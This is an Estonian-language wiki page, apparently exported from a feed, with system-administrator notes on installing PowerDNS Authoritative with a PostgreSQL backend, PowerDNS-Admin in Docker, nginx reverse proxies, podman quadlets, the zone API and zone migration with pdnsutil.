TODO&lt;br /&gt;
&lt;br /&gt;
PostgreSQL backend kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
Password for user pdns: &lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Baasi ligipääs jms kirjeldatakse failis, https://doc.powerdns.com/authoritative/backends/generic-postgresql.html#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# egrep -v &amp;quot;^#|^$&amp;quot; /etc/powerdns/pdns.d/gpgsql.conf&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dbname=db_pdns&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-host=127.0.0.1&lt;br /&gt;
gpgsql-password=parool&lt;br /&gt;
gpgsql-port=5432&lt;br /&gt;
gpgsql-user=pdns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
bind eemaldamiseks sobib kustutada fail&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/powerdns/pdns.d/bind.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab pdns server, gpgsql backendiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2024-06-16T16:44:00.877817+03:00 pdns systemd[1]: Starting pdns.service - PowerDNS Authoritative Server...&lt;br /&gt;
2024-06-16T16:44:00.906026+03:00 pdns pdns_server[3916]: Loading '/usr/lib/x86_64-linux-gnu/pdns/libgpgsqlbackend.so'&lt;br /&gt;
2024-06-16T16:44:00.906356+03:00 pdns pdns_server[3916]: This is a standalone pdns&lt;br /&gt;
2024-06-16T16:44:00.906408+03:00 pdns pdns_server[3916]: Listening on controlsocket in '/run/pdns/pdns.controlsocket'&lt;br /&gt;
2024-06-16T16:44:00.906668+03:00 pdns pdns_server[3916]: UDP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906684+03:00 pdns pdns_server[3916]: UDP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906735+03:00 pdns pdns_server[3916]: TCP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906750+03:00 pdns pdns_server[3916]: TCP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906866+03:00 pdns pdns_server[3916]: PowerDNS Authoritative Server 4.9.1 (C) PowerDNS.COM BV&lt;br /&gt;
2024-06-16T16:44:00.906881+03:00 pdns pdns_server[3916]: Using 64-bits mode. Built using gcc 12.2.0 on May 28 2024 07:46:05 by root@localhost.&lt;br /&gt;
2024-06-16T16:44:00.906891+03:00 pdns pdns_server[3916]: PowerDNS comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it according to the terms of the GPL version 2.&lt;br /&gt;
2024-06-16T16:44:00.915255+03:00 pdns pdns_server[3916]: Polled security status of version 4.9.1 at startup, no known issues reported: OK&lt;br /&gt;
2024-06-16T16:44:00.926644+03:00 pdns pdns_server[3916]: Creating backend connection for TCP&lt;br /&gt;
2024-06-16T16:44:00.935773+03:00 pdns pdns_server[3916]: About to create 3 backend threads for UDP&lt;br /&gt;
2024-06-16T16:44:00.935850+03:00 pdns systemd[1]: Started pdns.service - PowerDNS Authoritative Server.&lt;br /&gt;
2024-06-16T16:44:01.086206+03:00 pdns pdns_server[3916]: Done launching threads, ready to distribute questions&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ühtegi tsooni ei ole kirjeldatud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# pdnsutil list-all-zones&lt;br /&gt;
root@pdns:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS seadistamine====&lt;br /&gt;
&lt;br /&gt;
Seadistamisel tegeldakse&lt;br /&gt;
&lt;br /&gt;
* api sisselülitamine (PDA jaoks)&lt;br /&gt;
* SOA kirje vaikeväärtused&lt;br /&gt;
* DNSSEC vaike krüpto&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - PDA - docker====&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin tarvkara töötab docker konteinerina, aga kasutab host arvutist postgresql andmebaasi. Platvorm ettevalmistamine punktis on vajalik kasutaja ja create database tekitatud. PDA kasutamine eeldab, et PDNS juures on sisse lülitatud api liides (vaikimisi http liiklus üle port 8081).&lt;br /&gt;
&lt;br /&gt;
Docker compose fail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# cat docker-compose-pda.yml&lt;br /&gt;
services:&lt;br /&gt;
  svc_pda:&lt;br /&gt;
    image: powerdnsadmin/pda-legacy:v0.4.2&lt;br /&gt;
     &lt;br /&gt;
    container_name: cn_pda&lt;br /&gt;
    restart: always&lt;br /&gt;
    logging:&lt;br /&gt;
      driver: json-file&lt;br /&gt;
      options:&lt;br /&gt;
        max-size: 50m&lt;br /&gt;
    ports:&lt;br /&gt;
      - &amp;quot;9191:80&amp;quot;&lt;br /&gt;
    environment:&lt;br /&gt;
      - SECRET_KEY='saladus'&lt;br /&gt;
      - SQLALCHEMY_DATABASE_URI=postgresql://pda:pdaparool@192.168.10.53/pda&lt;br /&gt;
      - GUNICORN_TIMEOUT=60&lt;br /&gt;
      - GUNICORN_WORKERS=2&lt;br /&gt;
      - GUNICORN_LOGLEVEL=DEBUG&lt;br /&gt;
      - OFFLINE_MODE=False&lt;br /&gt;
      - CSRF_COOKIE_SECURE=False&lt;br /&gt;
 &lt;br /&gt;
    networks:&lt;br /&gt;
      - nw_pda&lt;br /&gt;
       &lt;br /&gt;
networks:&lt;br /&gt;
  nw_pda:&lt;br /&gt;
    name: nw_pda&lt;br /&gt;
    driver: bridge&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # docker compose -f docker-compose-pda.yml up -d&lt;br /&gt;
&lt;br /&gt;
Tulemusena on aadressil http://192.168.10.53:9191/ PDA webgui sisselogimise ekraan. Pressida Create Account ja esimesena tekitatud kasutaja on admin privileegidega.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX operatsioonisüsteem====&lt;br /&gt;
&lt;br /&gt;
NginX https:// frontend kasutamiseks sobib kasutada sellist seadistust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/etc/nginx/sites-enabled# cat /etc/nginx/sites-enabled/pdns &lt;br /&gt;
server {&lt;br /&gt;
    listen 80;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    if ($request_uri !~ /.well-known) {&lt;br /&gt;
      return 301 https://pdns.moraal.ee/;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
server {&lt;br /&gt;
    listen 443 ssl http2;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    ssl_certificate /etc/ssl/localcerts/pdns.moraal.ee.pem;&lt;br /&gt;
    ssl_certificate_key /etc/ssl/localcerts/pdns.moraal.ee.key;&lt;br /&gt;
    ssl_session_timeout 1d;&lt;br /&gt;
    ssl_session_cache shared:MozSSL:10m;&lt;br /&gt;
    ssl_session_tickets off;&lt;br /&gt;
    ssl_protocols TLSv1.2 TLSv1.3;&lt;br /&gt;
    ssl_prefer_server_ciphers off;&lt;br /&gt;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;&lt;br /&gt;
 &lt;br /&gt;
    client_max_body_size 25m;&lt;br /&gt;
 &lt;br /&gt;
    ssl_stapling off;&lt;br /&gt;
    add_header Strict-Transport-Security &amp;quot;max-age=63072000&amp;quot; always;&lt;br /&gt;
 &lt;br /&gt;
    access_log /var/log/nginx/access-pdns.moraal.ee-443.log;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    location / {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto https;&lt;br /&gt;
      proxy_pass http://192.168.10.53:9191;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX docker====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /srv/pdns/volume/nginx/etc/nginx/nginx.conf&lt;br /&gt;
# nginx.conf&lt;br /&gt;
&lt;br /&gt;
user nginx;&lt;br /&gt;
worker_processes auto;&lt;br /&gt;
error_log /dev/stderr;&lt;br /&gt;
pid /var/run/nginx.pid;&lt;br /&gt;
&lt;br /&gt;
events {&lt;br /&gt;
    worker_connections 1024;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
http {&lt;br /&gt;
    include       mime.types;&lt;br /&gt;
    default_type  application/octet-stream;&lt;br /&gt;
&lt;br /&gt;
    log_format  main  '$remote_addr - $remote_user [$time_local] &amp;quot;$request&amp;quot; '&lt;br /&gt;
                      '$status $body_bytes_sent &amp;quot;$http_referer&amp;quot; '&lt;br /&gt;
                      '&amp;quot;$http_user_agent&amp;quot; &amp;quot;$http_x_forwarded_for&amp;quot;';&lt;br /&gt;
    access_log /dev/stdout main;&lt;br /&gt;
&lt;br /&gt;
    sendfile        on;&lt;br /&gt;
    keepalive_timeout  65;&lt;br /&gt;
&lt;br /&gt;
    # Redirect HTTP to HTTPS&lt;br /&gt;
    server {&lt;br /&gt;
        listen 80;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        return 301 https://$host$request_uri;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    # HTTPS Configuration&lt;br /&gt;
    server {&lt;br /&gt;
        listen 443 ssl;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        http2 on;&lt;br /&gt;
        ssl_protocols TLSv1.3;&lt;br /&gt;
        ssl_prefer_server_ciphers on;&lt;br /&gt;
&lt;br /&gt;
        ssl_certificate /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.crt;&lt;br /&gt;
        ssl_certificate_key /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.key;&lt;br /&gt;
&lt;br /&gt;
        # Recommended security settings&lt;br /&gt;
        ssl_session_cache shared:SSL:10m;&lt;br /&gt;
        ssl_session_timeout 10m;&lt;br /&gt;
        ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305;&lt;br /&gt;
&lt;br /&gt;
        # Logging&lt;br /&gt;
        access_log /dev/stdout;&lt;br /&gt;
        error_log /dev/stdout;&lt;br /&gt;
&lt;br /&gt;
        # Reverse proxy to the destination&lt;br /&gt;
        location / {&lt;br /&gt;
            proxy_pass http://svc_pdns:8081;&lt;br /&gt;
            proxy_set_header Host $host;&lt;br /&gt;
            proxy_set_header X-Real-IP $remote_addr;&lt;br /&gt;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&lt;br /&gt;
            proxy_set_header X-Forwarded-Proto $scheme;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab pda webgui poole pöörduda aadressiga https://pdns.moraal.ee/.&lt;br /&gt;
&lt;br /&gt;
PDA kasutaja parooli muutmine postgresql baasis, nb rakendus kasutab tabeli nimena 'user', see on postgresql nö built-in objekt ja name clash ületamiseks tuleb pöörduda rakendusega seotud ressursi poole &amp;quot;user&amp;quot; abil, eriti koos skeemi prefiksiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql db_pda&lt;br /&gt;
pda=# select * from public.&amp;quot;user&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]------------------------------------------------------------&lt;br /&gt;
id         | 1&lt;br /&gt;
username   | admin&lt;br /&gt;
password   | $2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FF&lt;br /&gt;
firstname  | Imre&lt;br /&gt;
lastname   | Oolberg&lt;br /&gt;
email      | imre.oolberg@auul.pri.ee&lt;br /&gt;
otp_secret | &lt;br /&gt;
role_id    | 1&lt;br /&gt;
confirmed  | f&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
db_pda=# update public.&amp;quot;user&amp;quot; set password='$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC' where username='admin';&lt;br /&gt;
UPDATE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures password väärtus tekitatakse nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ htpasswd -bnBC 15 &amp;quot;&amp;quot; pdaparool | tr -d ':\n'&lt;br /&gt;
$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into &amp;quot;user&amp;quot; (username, password, firstname, lastname, email, role_id, confirmed) values ('admin',  '$2b$12$4M9qXQaWn95GTregvSO2v.I/1QQT0/Ayqt3jZsMp06FIa5dMme6Gu', 'Administrator', 'Administrator', 'priit@moraal.ee', 1, 'f');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pdns api kontakti lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_url', 'http://192.168.10.80:8081');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_key', 'apiparool');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_version', '4.9.11');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# select * from setting;&lt;br /&gt;
 id |     name     |         value&lt;br /&gt;
----+--------------+------------------------&lt;br /&gt;
  7 | pdns_api_url | http://192.168.10.80:8081&lt;br /&gt;
  8 | pdns_api_key | apiparool&lt;br /&gt;
  9 | pdns_version | 4.9.11&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA kasutamise privileegid====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Account - grupi taoline moodustis, praktiliselt võiks vastata domeeni omanik asutusele&lt;br /&gt;
* User - kasutaja taoline moodustis, vastab inimesele kes süsteemi kasutab&lt;br /&gt;
* User ja Account vaheliste seoste abil saab anda hulgale kasutajatele õiguse tegeleda hulga domeenidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@rv-xxx-01:/opt/pda/dc# docker exec -ti e8 sh&lt;br /&gt;
/app $ ps aux&lt;br /&gt;
PID   USER     TIME  COMMAND&lt;br /&gt;
    1 pda       0:00 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    7 pda       0:02 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    8 pda       0:01 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
&lt;br /&gt;
[2025-10-31 13:06:25,927] [record.py:61] ERROR - Cannot fetch zone's record data from remote powerdns api. DETAIL: HTTPSConnectionPool(host='rvxxx-01.test.moraal.ee', port=443): Max retries exceeded with url: /api/v1/servers/localhost/zones/imretest-03.ee (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain (_ssl.c:1007)')))&lt;br /&gt;
&lt;br /&gt;
    volumes:&lt;br /&gt;
        #      - /opt/pda/volume/pda/etc/ssl/certs/ca-certificates.crt:/usr/lib/python3.10/site-packages/certifi/cacert.pem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA API liidese kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tsooni tekitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -s -L -H 'Content-Type: application/json' -H 'Authorization: Basic xxx' -X POST https://pda.moraal.ee/api/v1/pdnsadmin/zones \&lt;br /&gt;
    --data '{&amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;, &amp;quot;kind&amp;quot;: &amp;quot;MASTER&amp;quot;, &amp;quot;nameservers&amp;quot;: [&amp;quot;ans1.moraal.ee.&amp;quot;, &amp;quot;ans2.moraal.ee.&amp;quot;]}' | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;account&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;api_rectify&amp;quot;: false,&lt;br /&gt;
  &amp;quot;catalog&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;dnssec&amp;quot;: false,&lt;br /&gt;
  &amp;quot;edited_serial&amp;quot;: 2026010802,&lt;br /&gt;
  &amp;quot;id&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;kind&amp;quot;: &amp;quot;Master&amp;quot;,&lt;br /&gt;
  &amp;quot;last_check&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;master_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;masters&amp;quot;: [],&lt;br /&gt;
  &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;notified_serial&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;nsec3narrow&amp;quot;: false,&lt;br /&gt;
  &amp;quot;nsec3param&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;rrsets&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee. hostmaster.moraal.ee. 2026010801 86400 7200 2419200 10800&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;SOA&amp;quot;&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        },&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans2.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;NS&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
  ],&lt;br /&gt;
  &amp;quot;serial&amp;quot;: 2026010801,&lt;br /&gt;
  &amp;quot;slave_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;soa_edit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;soa_edit_api&amp;quot;: &amp;quot;DEFAULT&amp;quot;,&lt;br /&gt;
  &amp;quot;url&amp;quot;: &amp;quot;/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui pole ligipääsu saab sellise vastuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% curl -s -L -H 'Content-Type: application/json' -H 'X-API-KEY:  xxx' -X GET &amp;quot;https://pda.moraal.ee/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee&amp;quot; | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;msg&amp;quot;: &amp;quot;Zone access not allowed&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns docker lahendus===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf&lt;br /&gt;
allow-axfr-ips=127.0.0.1,192.168.10.0/24&lt;br /&gt;
allow-notify-from=&lt;br /&gt;
allow-unsigned-notify=yes&lt;br /&gt;
also-notify=&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=saladus&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-soa-content=ans1.auu.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
disable-syslog=no&lt;br /&gt;
forward-notify=&lt;br /&gt;
include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
launch=&lt;br /&gt;
local-address=172.30.0.15, 10.30.0.15&lt;br /&gt;
local-port=53&lt;br /&gt;
log-dns-details=yes&lt;br /&gt;
log-dns-queries=yes&lt;br /&gt;
log-timestamp=yes&lt;br /&gt;
loglevel=4&lt;br /&gt;
only-notify=&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=10.30.0.15&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
webserver-loglevel=detailed&lt;br /&gt;
webserver-password=saladus&lt;br /&gt;
webserver-port=8081&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns podman lahendus===&lt;br /&gt;
&lt;br /&gt;
PDNS Quadlet Service kirjeldus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
Environment=PDNS_local_port=8053&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning pdns.conf seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/pdns/volume/pdns/etc/powerdns/pdns.conf&lt;br /&gt;
local-address=0.0.0.0&lt;br /&gt;
launch=&lt;br /&gt;
# include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=parool&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=0.0.0.0&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
#master=yes&lt;br /&gt;
&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
allow-axfr-ips= 100.20.21.0/24,127.0.0.1/32,172.17.0.0/16&lt;br /&gt;
also-notify=192.168.1.150&lt;br /&gt;
only-notify=&lt;br /&gt;
forward-notify=&lt;br /&gt;
default-soa-content=ans1.auul.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
# default-nsec3-param=1 0 0 -&lt;br /&gt;
&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-extra-connection-parameters=password=parool dbname=db_pdns port=5432 user=pdns host=192.168.1.147&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Tsooni migreerimine pädeva pdns peale===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* SOA-EDIT - &lt;br /&gt;
&lt;br /&gt;
====Protseduur====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Käsundamine====&lt;br /&gt;
&lt;br /&gt;
Eksport&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
# pdnsutil export-zone-key moraal.ee 17 &amp;gt; moraal.ee.ksk&lt;br /&gt;
# pdnsutil list-zone moraal.ee &amp;gt; moraal.ee.zone&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Import&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil load-zone moraal.ee.zone&lt;br /&gt;
# pdnsutil set-kind moraal.ee master&lt;br /&gt;
# pdnsutil set-meta moraal.ee SOA-EDIT-API DEFAULT&lt;br /&gt;
# pdnsutil set-meta moraal.ee SOA-EDIT INCEPTION-INCREMENT&lt;br /&gt;
# pdnsutil import-zone-key moraal.ee moraal.ee.ksk ksk&lt;br /&gt;
# pdnsutil set-nsec3 moraal.ee '1 0 0 -'&lt;br /&gt;
# pdnsutil rectify-zone moraal.ee&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Käsundamine - 2nd abil====&lt;br /&gt;
&lt;br /&gt;
Tekitatakse migreeritava tsooni sekundaar&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil create-secondary-zone moraal.ee 192.168.1.148&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://www.powerdns.com/&lt;br /&gt;
* http://www.poweradmin.org/&lt;br /&gt;
* https://github.com/PowerDNS/pdns/wiki/WebFrontends&lt;br /&gt;
* http://jpmens.net/2010/10/29/alternative-dns-servers-the-book-as-pdf/&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
* https://www.cloudflare.com/dns/dnssec/how-dnssec-works/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
